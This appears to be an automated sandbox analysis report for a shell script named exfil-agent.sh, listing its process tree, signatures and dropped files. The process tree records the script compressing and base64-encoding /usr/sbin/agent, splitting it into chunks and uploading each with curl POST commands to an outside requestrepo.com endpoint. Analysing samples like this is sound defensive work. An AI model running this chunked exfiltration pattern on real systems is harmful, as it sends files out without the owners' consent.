Analysis

  • max time kernel
    17s
  • max time network
    897s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03/10/2026, 16:27

General

  • Target
    exfil-agent.sh
  • Size 807B
  • Sample261003-tybmsstycy
  • SHA256 9e579a810bf5e63c217a374e59bb9f93a2cf20e45798622907787739ae6c78b9
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 32 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/exfil-agent.sh
    /tmp/exfil-agent.sh
    1⤵
    • Writes file to tmp directory
    PID:1492
    • /bin/mkdir
      mkdir -p /tmp/gatofox-agentbin
      2⤵
      • Reads runtime system information
      PID:1493
    • /usr/bin/base64
      base64 -w0
      2⤵
        PID:1495
      • /usr/bin/xz
        xz -9 -c /usr/sbin/agent
        2⤵
          PID:1494
        • /usr/bin/sha256sum
          sha256sum /usr/sbin/agent
          2⤵
            PID:1505
          • /usr/bin/wc
            wc -c
            2⤵
              PID:1507
            • /usr/bin/curl
              curl --connect-timeout 5 --max-time 25 -sS -X POST --data-binary "@/tmp/gatofox-agentbin/meta" https://mj5uhfpe.requestrepo.com/agentbin-132711/meta
              2⤵
                PID:1508
              • /usr/bin/split
                split -b 180000 -d -a 3 /tmp/gatofox-agentbin/data.b64 /tmp/gatofox-agentbin/chunk-
                2⤵
                • Writes file to tmp directory
                PID:1510
              • /usr/bin/curl
                curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 0" --data-binary "@/tmp/gatofox-agentbin/chunk-000" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/0
                2⤵
                  PID:1511
                • /usr/bin/curl
                  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 1" --data-binary "@/tmp/gatofox-agentbin/chunk-001" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/1
                  2⤵
                    PID:1513
                  • /usr/bin/curl
                    curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 2" --data-binary "@/tmp/gatofox-agentbin/chunk-002" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/2
                    2⤵
                      PID:1515
                    • /usr/bin/curl
                      curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 3" --data-binary "@/tmp/gatofox-agentbin/chunk-003" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/3
                      2⤵
                        PID:1517
                      • /usr/bin/curl
                        curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 4" --data-binary "@/tmp/gatofox-agentbin/chunk-004" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/4
                        2⤵
                          PID:1519
                        • /usr/bin/curl
                          curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 5" --data-binary "@/tmp/gatofox-agentbin/chunk-005" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/5
                          2⤵
                            PID:1521
                          • /usr/bin/curl
                            curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 6" --data-binary "@/tmp/gatofox-agentbin/chunk-006" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/6
                            2⤵
                              PID:1523
                            • /usr/bin/curl
                              curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 7" --data-binary "@/tmp/gatofox-agentbin/chunk-007" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/7
                              2⤵
                                PID:1525
                              • /usr/bin/curl
                                curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 8" --data-binary "@/tmp/gatofox-agentbin/chunk-008" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/8
                                2⤵
                                  PID:1527
                                • /usr/bin/curl
                                  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 9" --data-binary "@/tmp/gatofox-agentbin/chunk-009" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/9
                                  2⤵
                                    PID:1529
                                  • /usr/bin/curl
                                    curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 10" --data-binary "@/tmp/gatofox-agentbin/chunk-010" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/10
                                    2⤵
                                      PID:1531
                                    • /usr/bin/curl
                                      curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 11" --data-binary "@/tmp/gatofox-agentbin/chunk-011" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/11
                                      2⤵
                                        PID:1533
                                      • /usr/bin/curl
                                        curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 12" --data-binary "@/tmp/gatofox-agentbin/chunk-012" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/12
                                        2⤵
                                          PID:1535
                                        • /usr/bin/curl
                                          curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 13" --data-binary "@/tmp/gatofox-agentbin/chunk-013" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/13
                                          2⤵
                                            PID:1537
                                          • /usr/bin/curl
                                            curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 14" --data-binary "@/tmp/gatofox-agentbin/chunk-014" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/14
                                            2⤵
                                              PID:1539
                                            • /usr/bin/curl
                                              curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 15" --data-binary "@/tmp/gatofox-agentbin/chunk-015" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/15
                                              2⤵
                                                PID:1541
                                              • /usr/bin/curl
                                                curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 16" --data-binary "@/tmp/gatofox-agentbin/chunk-016" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/16
                                                2⤵
                                                  PID:1543
                                                • /usr/bin/curl
                                                  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 17" --data-binary "@/tmp/gatofox-agentbin/chunk-017" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/17
                                                  2⤵
                                                    PID:1545
                                                  • /usr/bin/curl
                                                    curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 18" --data-binary "@/tmp/gatofox-agentbin/chunk-018" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/18
                                                    2⤵
                                                      PID:1547
                                                    • /usr/bin/curl
                                                      curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 19" --data-binary "@/tmp/gatofox-agentbin/chunk-019" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/19
                                                      2⤵
                                                        PID:1549
                                                      • /usr/bin/curl
                                                        curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 20" --data-binary "@/tmp/gatofox-agentbin/chunk-020" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/20
                                                        2⤵
                                                          PID:1551
                                                        • /usr/bin/curl
                                                          curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 21" --data-binary "@/tmp/gatofox-agentbin/chunk-021" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/21
                                                          2⤵
                                                            PID:1553
                                                          • /usr/bin/curl
                                                            curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 22" --data-binary "@/tmp/gatofox-agentbin/chunk-022" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/22
                                                            2⤵
                                                              PID:1555
                                                            • /usr/bin/curl
                                                              curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 23" --data-binary "@/tmp/gatofox-agentbin/chunk-023" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/23
                                                              2⤵
                                                                PID:1557
                                                              • /usr/bin/curl
                                                                curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 24" --data-binary "@/tmp/gatofox-agentbin/chunk-024" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/24
                                                                2⤵
                                                                  PID:1559
                                                                • /usr/bin/curl
                                                                  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 25" --data-binary "@/tmp/gatofox-agentbin/chunk-025" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/25
                                                                  2⤵
                                                                    PID:1561
                                                                  • /usr/bin/curl
                                                                    curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 26" --data-binary "@/tmp/gatofox-agentbin/chunk-026" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/26
                                                                    2⤵
                                                                      PID:1563
                                                                    • /usr/bin/curl
                                                                      curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 27" --data-binary "@/tmp/gatofox-agentbin/chunk-027" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/27
                                                                      2⤵
                                                                        PID:1565
                                                                      • /usr/bin/curl
                                                                        curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 28" --data-binary "@/tmp/gatofox-agentbin/chunk-028" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/28
                                                                        2⤵
                                                                          PID:1567
                                                                        • /usr/bin/curl
                                                                          curl --connect-timeout 5 --max-time 25 -sS -X POST --data-binary "@/tmp/gatofox-agentbin/hash" https://mj5uhfpe.requestrepo.com/agentbin-132711/hash
                                                                          2⤵
                                                                            PID:1569

                                                                        Network

                                                                              MITRE ATT&CK Matrix

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              chunk-000

                                                                              • Path /tmp/gatofox-agentbin/chunk-000
                                                                              • Size 175KB
                                                                              • SHA256 4519e16622f05105eab6a1a669713a16b191145ecc8c3657a4a701b616185943
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-001

                                                                              • Path /tmp/gatofox-agentbin/chunk-001
                                                                              • Size 175KB
                                                                              • SHA256 cdd659457504607fcc7300386e1269557ec76c16157e9c014194b581503cae4f
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-002

                                                                              • Path /tmp/gatofox-agentbin/chunk-002
                                                                              • Size 175KB
                                                                              • SHA256 4683a9612f983ab84f4a3ca4e27d63e2e59483cad6c022ac062ed6d28d447c58
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-003

                                                                              • Path /tmp/gatofox-agentbin/chunk-003
                                                                              • Size 175KB
                                                                              • SHA256 a914f6a1c5310b3fd2ad2ce1df6db41f7967e5921da2b25d678c0fccc6fd9932
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-004

                                                                              • Path /tmp/gatofox-agentbin/chunk-004
                                                                              • Size 175KB
                                                                              • SHA256 9950536386b13d8900ba55207277d6ff655977f4bd831448cc42bf1786a98eba
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-005

                                                                              • Path /tmp/gatofox-agentbin/chunk-005
                                                                              • Size 175KB
                                                                              • SHA256 b7e60ea1a48b62b51c990527ebbdc036be863cdfc6db5f3d558a84610e69773e
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-006

                                                                              • Path /tmp/gatofox-agentbin/chunk-006
                                                                              • Size 175KB
                                                                              • SHA256 4d994349430ed4d047ba7dd25b0d5b87fdcc16159296ad948024218d6cee36d6
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-007

                                                                              • Path /tmp/gatofox-agentbin/chunk-007
                                                                              • Size 175KB
                                                                              • SHA256 308efb07f676c7933b9b4f72f475f3e0249b879a7dccd3d8324828c96f816098
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-008

                                                                              • Path /tmp/gatofox-agentbin/chunk-008
                                                                              • Size 175KB
                                                                              • SHA256 41112225e7ec2353acf0e5f428a9295fd65e0f00e15c14099e8d861015134409
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-009

                                                                              • Path /tmp/gatofox-agentbin/chunk-009
                                                                              • Size 175KB
                                                                              • SHA256 e7c2ab755de6b275d6ddc819f2ef546ffced23d9f54aa2c7e3bc4fa17ef0d30c
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-010

                                                                              • Path /tmp/gatofox-agentbin/chunk-010
                                                                              • Size 175KB
                                                                              • SHA256 d4dd4dd5ad80ebbf708748f6540109cee2d357b76af82bcb0b2e9303785a4979
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-011

                                                                              • Path /tmp/gatofox-agentbin/chunk-011
                                                                              • Size 175KB
                                                                              • SHA256 a16cd5e171c2d9f9f425a800f97b9feb296b9531c69a076817627e0b016bc6d2
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-012

                                                                              • Path /tmp/gatofox-agentbin/chunk-012
                                                                              • Size 175KB
                                                                              • SHA256 c89baaf6792767b7fe2f4ecd406ce70cce8183684fe7a3493a6bde85faf207f6
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-013

                                                                              • Path /tmp/gatofox-agentbin/chunk-013
                                                                              • Size 175KB
                                                                              • SHA256 abc194d153612608f974dbca743490c2bacb1ef86281be1e71c60546f7f1b7f7
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-014

                                                                              • Path /tmp/gatofox-agentbin/chunk-014
                                                                              • Size 175KB
                                                                              • SHA256 066ef2724ea79bc54bfde7f76820d67560e77210d269d695eeea220c3acd1e4d
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-015

                                                                              • Path /tmp/gatofox-agentbin/chunk-015
                                                                              • Size 175KB
                                                                              • SHA256 2f7616b7bef03669bb53c19a807e3a7f9bb69684cbb2a5a190bf14e03284f7ac
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-016

                                                                              • Path /tmp/gatofox-agentbin/chunk-016
                                                                              • Size 175KB
                                                                              • SHA256 5846c5a1b42a88aa401e5c346c55061dc731a0f472bc8197fe499cd0b03cdbcb
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-017

                                                                              • Path /tmp/gatofox-agentbin/chunk-017
                                                                              • Size 175KB
                                                                              • SHA256 4f09952f7168dcf9d309954cb175dd7bbb03b8d0a803f1b6f4fab8fd1d29bd13
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-018

                                                                              • Path /tmp/gatofox-agentbin/chunk-018
                                                                              • Size 175KB
                                                                              • SHA256 f36c385b4d34363db22b33b3e5ff70fc811f4e2e9d210fc16e004be6677ed889
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-019

                                                                              • Path /tmp/gatofox-agentbin/chunk-019
                                                                              • Size 175KB
                                                                              • SHA256 49586351980d476c5eda3293b8b2938672fc6426262b2cde97348105e7e4b634
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-020

                                                                              • Path /tmp/gatofox-agentbin/chunk-020
                                                                              • Size 175KB
                                                                              • SHA256 6d1e26c3dd10e93a988608f7dbbb52eec24fda9c00102a599efae52b059e0e55
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-021

                                                                              • Path /tmp/gatofox-agentbin/chunk-021
                                                                              • Size 175KB
                                                                              • SHA256 fa8acd7a1d87d469fd7a353e1f3645e17cc8dd2a70e564c9ff9b15116771624d
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-022

                                                                              • Path /tmp/gatofox-agentbin/chunk-022
                                                                              • Size 175KB
                                                                              • SHA256 c62da256ba4e74ad0f1747a424b06e82bea9444eab78d995b77f63aab7175f73
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-023

                                                                              • Path /tmp/gatofox-agentbin/chunk-023
                                                                              • Size 175KB
                                                                              • SHA256 fad590830925409cea7087d5e30c2d93e6005468c228e5a3a2a4778519c1b864
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-024

                                                                              • Path /tmp/gatofox-agentbin/chunk-024
                                                                              • Size 175KB
                                                                              • SHA256 5624cec2ed17d71e63a73e8e42e11345d3ca94b1b5b7a09cb24265cf60598612
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-025

                                                                              • Path /tmp/gatofox-agentbin/chunk-025
                                                                              • Size 175KB
                                                                              • SHA256 63b23cf68247f346b260e92c015a0fabd2618083aeeab8f3730e3a6c5bbc06e1
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-026

                                                                              • Path /tmp/gatofox-agentbin/chunk-026
                                                                              • Size 175KB
                                                                              • SHA256 b35bf743ce53a2e44a35ef9467d3465358525e52616df761d07a60e26a406c85
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-027

                                                                              • Path /tmp/gatofox-agentbin/chunk-027
                                                                              • Size 175KB
                                                                              • SHA256 4301e2863380d3f051dc82a2054eb2827c5eff1166c8d6aa4531348303daa1b2
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              chunk-028

                                                                              • Path /tmp/gatofox-agentbin/chunk-028
                                                                              • Size 54KB
                                                                              • SHA256 20ecdececf8fdb27e211a0194f77d501b119e2f2f1302d1afddf3d27e5d7381e
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              data.b64

                                                                              • Path /tmp/gatofox-agentbin/data.b64
                                                                              • Size 4.9MB
                                                                              • SHA256 67e5a561a065d48ceef46d652e30d28ab3d2bb31a6db05ce7b2ff1860c15abb4
                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                              hash

                                                                              • Path /tmp/gatofox-agentbin/hash
                                                                              • Size 82B
                                                                              • SHA256 e2439125a768eb071cd517e0ac5024832120bf4a9e2fdd6bf9478f2b63e4f148
                                                                              • MD5 SHA1 SHA512 TLSH

                                                                              meta

                                                                              • Path /tmp/gatofox-agentbin/meta
                                                                              • Size 46B
                                                                              • SHA256 205a992e09cf6c8f2d2ac3fa5bc230dd6f7be24038b77d0a25bbc580f8f01ad6
                                                                              • MD5 SHA1 SHA512